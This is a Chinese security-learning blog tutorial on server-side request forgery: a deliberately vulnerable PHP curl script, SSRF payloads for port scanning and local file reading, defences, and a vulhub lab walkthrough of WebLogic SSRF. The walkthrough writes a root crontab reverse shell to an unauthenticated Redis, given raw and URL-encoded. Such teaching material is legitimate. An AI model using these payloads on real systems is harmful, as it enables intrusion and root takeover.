目录

SSRF

SSRF 概述及危害

*SSRF 概述

*SSRF 危害

SSRF 常见代码实现

SSRF 利用

*访问正常文件

*端口扫描(扫描内网机器的端口)

*读取系统本地文件

* 内网Web 应用指纹识别

*攻击内网应用

SSRF 漏洞的挖掘

SSRF 的防御

@ 限制协议

@ 限制IP

@ 限制端口

@ 过滤返回信息

@ 统一错误信息

实验:我们如何利用ssrf去攻击内网应用获得shell

Weblogic 从ssrf 到getshell


SSRF

SSRF 概述及危害

*SSRF 概述

互联网上的很多Web 应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,Web 应用可以获取图片、文件资源(下载或读取)。如百度识图等

用户可以从本地或者URL 的方式获取图片资源,交给百度识图处理。如果提交的是URL 地址,该应用就会通过URL 的方式获取图片资源。如果Web 应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷。请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的Web 安全漏洞之一。如果“请求伪造”发生在服务器端,那么这个漏洞就叫做“服务器端请求伪造”,英文名为Server-Side Request Forgery,简称SSRF。

SSRF(服务器端请求伪造)是一种攻击者发起的伪造由服务器端发出请求的一种攻击,也是常见的Web 安全漏洞(缺陷或者风险)之一。

CSRF是发生在客户端的漏洞,它属于跨站请求伪造,这个请求伪造就是强制客户发送一个攻击者的请求
SSRF是发生在服务器端的漏洞,是强制服务器发送一个攻击者的请求

*SSRF 危害

@ 端口扫描

@ 内网Web 应用指纹识别

@ 攻击内网Web 应用

@ 读取本地文件

SSRF 常见代码实现

在服务器端实现通过URL 从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP 语言和curl 扩展实现该功能。

通过phpinfo() 函数查看对curl 扩展的支持,现在大部分wamp 套件均支持curl 扩展

<?php
if (isset($_REQUEST['url']))
{$link = $_REQUEST['url'];$filename = './curled/'.time().'.txt';$curlobj = curl_init($link);$fp = fopen($filename,"w");curl_setopt($curlobj, CURLOPT_FILE, $fp);curl_setopt($curlobj, CURLOPT_HEADER, 0);curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);curl_exec($curlobj);curl_close($curlobj);fclose($fp);$fp = fopen($filename,"r");$result = fread($fp, filesize($filename)); fclose($fp);echo $result;
}else{echo "?url=[url]";
}
?>

将以上代码保存成文件[ssrf_curl.php]。该段代码实现了从服务器获取资源的基本功能,提交
    [?url=http://www.baidu.com ]
    页面就会载入百度首页的资源。
 
    同时,获取的资源文件会保存在[./curled]中,并以发起请求时间的unix 时间戳命名。

SSRF 利用

*访问正常文件

访问正常文件,提交参数[?url=http://www.baidu.com/robots.txt]

*端口扫描(扫描内网机器的端口)

当访问未开放端口,脚本会显示空白或者报错,提交参数[?url=dict://127.0.0.1:1234]

当访问开放端口时,脚本会显示bannner 信息。

[?url=dict://127.0.0.1:80]

[?url=dict://127.0.0.1:3306]

dict://叫字典协议

用nmap进行扫描的时候是访问不到内网机器的,但是我们用ssrf就能访问内网,因为服务器就在内网,因为我们这个请求就是从服务器发出的

*读取系统本地文件

利用file协议可以任意读取本地系统文件,提交参数

[?url=file://c:\windows\system32\drivers\etc\hosts]

* 内网Web 应用指纹识别

识别内网应用使用的框架,平台,模块以及cms可以为后续的渗透测试提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
    比如可以通过访问下列文件来判断phpMyAdmin是否安装以及详细版本。
    [?url=http://localhost/phpmyadmin/README]

*攻击内网应用

内网安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf 攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、Web 应用

仅仅通过get 方法可以攻击的Web 应用有很多,比如structs2 命令执行等。

Weblogic 从ssrf 到redis 未授权访问到getshell
redis 数据库
未授权访问        不需要用户名和密码就可以访问数据库,读写文件,root 权限

SSRF 漏洞的挖掘

对外发起网络请求的地方都可能存在SSRF 漏洞,列举图片加载下载,分享页面,在线翻译,未公开的api(从远程服务器请求资源文件处理,编码处理,属性信息处理等。)

SSRF 的防御

@ 限制协议

仅允许http和https请求。

@ 限制IP

避免应用被用来获取内网数据,攻击内网。

@ 限制端口

限制请求的端口为http 常用的端口,例如80 443 8080 8090

@ 过滤返回信息

验证远程服务器对请求的响应是比较简单的方法。

@ 统一错误信息

避免用户可以根据错误信息来判断远端服务器的端口状态(比如只要出现错误,给用户看的就是404)

ssrf这个漏洞总结一下:
就是说如果web应用有可以从本地获取url,同时服务器会发送这个url
这种类似的功能,如果没有做一个比较好的限制,就会出现ssrf漏洞

实验:我们如何利用ssrf去攻击内网应用获得shell

Weblogic 从ssrf 到getshell

环境搭建:

https://vulhub.org/#/environments/weblogic/ssrf/

依赖于docker 技术

docker-compose up -d 启动两个docker 镜像

docker ps

docker exec -it 3963de188db5 "/bin/bash"

linux

crontab   计划任务

备份

访问weblogic

http://ip:7001

出现以下页面,搭建成功

漏洞存在地方:

[http://192.168.1.129:7001/uddiexplorer/]

这里我们使用Bp 抓一下包

我们发现当我们提交不同的url 页面的回显是不一样的。

当我提交以下两个不同的url,对其得到的回应,作比较

http://localhost

http://localhost:7001

确认存在SSRF漏洞

------------

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.1.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
DNT: 1
Connection: close
Referer: http://192.168.1.129:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=dsQKp3ZLK3XNjv9JqvJ16L1nN89QZ3DK7yDLGcDgSlFwGHF5FRJQ!899981451
Upgrade-Insecure-Requests: 1

operator=http://172.18.0.2:6379&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

-------------------------------

redis 数据库

未授权访问

在访问数据库是不需要提供用户名和密码

具有root权限

读写文件

语法

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.0.105.222/777 0>&1\n\n\n\n"   将bash弹到172.18.0.1的777端口

config set dir /etc/    设置目录
config set dbfilename crontab
save

本机监听一下777端口:ncat -lvvp 777

读写计划任务文件crontab

进行URL编码

----
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.105.222%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
----

----
http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.105.222%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
----

读写计划任务文件crontab
        反弹Shell 到指定地址

成功反弹,拿到root用户权限

【CyberSecurityLearning 64】SSRF相关推荐

  1. 【CyberSecurityLearning 10】扫描与爆破

    目录 扫描技术 基础知识 @ 常见端口号 Nmap-扫描器之王 重要常用参数(区分大小写) 远程爆破软件:九头蛇(hydra-8.1-windows) [ˈhaɪdrə]​ 本地破解 本地暴力破解: ...

  2. 【CyberSecurityLearning 71】DC系列之DC-2渗透测试(WordPress)

    目录 DC-2靶机渗透测试 一.实验环境 二.实验要求 三.渗透过程演示 flag1: flag2: flag3: flag4: final-flag: DC-2靶机渗透测试 一.实验环境 实验环境: ...

  3. 【CyberSecurityLearning 28】批处理与简单病毒

    批处理案例 @echo off color 0a title 飞哥小程序v1.0 :menu cls echo ========================== echo 菜单 echo 1.修改 ...

  4. 【CyberSecurityLearning 27】扫描与密码爆破

    目录 扫描技术 为什么学习这门课程 主机嗅探与端口扫描 基础知识 常见端口号 Nmap-扫描器之王 口令破解 概述 口令安全现状 破解方式 @ 暴力破解 @ 字典破解 windows口令暴力破解 - ...

  5. 【CyberSecurityLearning 16】单臂路由与DHCP中继+ ICMP协议+VTP

    目录 一.单臂路由 单臂路由引入: 单臂路由实验演示: 单臂路由缺点: 二.ICMP协议 单臂路由练习实验:(★) 单臂路由缺点: 三.VTP(VLAN Trunking Protocol) VTP概 ...

  6. 【CyberSecurityLearning 13】简单抓包及 IP包头分析与 路由原理(一)

    目录 一.简单抓包 二.静态路由 ​2.1 IP数据包格式(加强记忆★) 2.2 路由概述 2.3  路由表的形成 实验:实现全网互通 2.4 静态路由 2.5 默认路由​ 2.6 交换与路由对比 2 ...

  7. 【CyberSecurityLearning 11】OSI与TCP/IP协议簇以及Packet Tracer模拟器

    目录 计算机网络参考模型 一.分层模型 1.1 分层思想 1.2 OSI七层模型 1.3 OSI七层模型---->TCP/IP五层协议簇 二.数据传输过程 2.1 数据的封装与解封装过程 ​ O ...

  8. 【CyberSecurityLearning 附】域的复习+小综合实验(重要!)

    域的复习 域的特点:集中管理 活动目录的特点:集中管理 域:Domain 域控制器:Domain Controller = DC 活动目录:Active Directory = AD 在域中,组策略的 ...

  9. 【CyberSecurityLearning 7】AD域

    目录 1.Domain(域代表的是一种环境) 2.内网环境 3.域的特点: 4.域的组成: 5.域的部署: 6.活动目录 7.组策略GPO(group policy) 8.部署安装活动目录 9.PC加 ...

最新文章

  1. Oracle——redo+undo总结
  2. 多波次导弹发射中的规划问题(一) 网络图绘制及数据整理
  3. caffe源码分析:layer.hpp分析
  4. 【译】Economics of Fees and Gas
  5. MySQL高级 - 日志 - 错误日志
  6. ListView中让TextView中的文字进行单独滚动
  7. r 语言roc_R语言画ROC曲线总结
  8. eeg数据集_运动想象,情绪识别等公开数据集汇总
  9. 单指令多数据SIMD的SSE/AVX指令集和API
  10. Linux开发_控制shell光标
  11. Jenkins持久化集成使用
  12. java获取url后缀,以及判断是否带参数(?params=xxx)
  13. 用命令从FTP服务器下载文件
  14. div+css视频教程大全免费下载更有html5教程
  15. 运算放大器应用汇总1
  16. 卖家/消费者如何在淘宝申请人工客服
  17. Java中多态的表现形式
  18. C/C++基础题045.PUM
  19. 蓝桥杯- 算法训练-Beaver's Calculator
  20. CSS属性多个子容器时使用flex-shrink 计算比例

热门文章

  1. 解决:delphi7 license is invalid or has expired
  2. Flash常用快捷键大全 (hotkey)
  3. Miniconda3及pip换源(conda清华源关闭)
  4. Hadoop中Context类的作用
  5. NSNumber 以及NSInteger,NSNumber以及Int的区别
  6. GIS讲堂第二课-地图切片简介以及OL中的调用
  7. 文件上传到ubuntu -- WinSCP 登录ftp服务器
  8. POJ 2411 Mondriaan's Dream [经典状态压缩dp]
  9. 问题小结(6)-listview滚动条相关
  10. 面试题01(C++)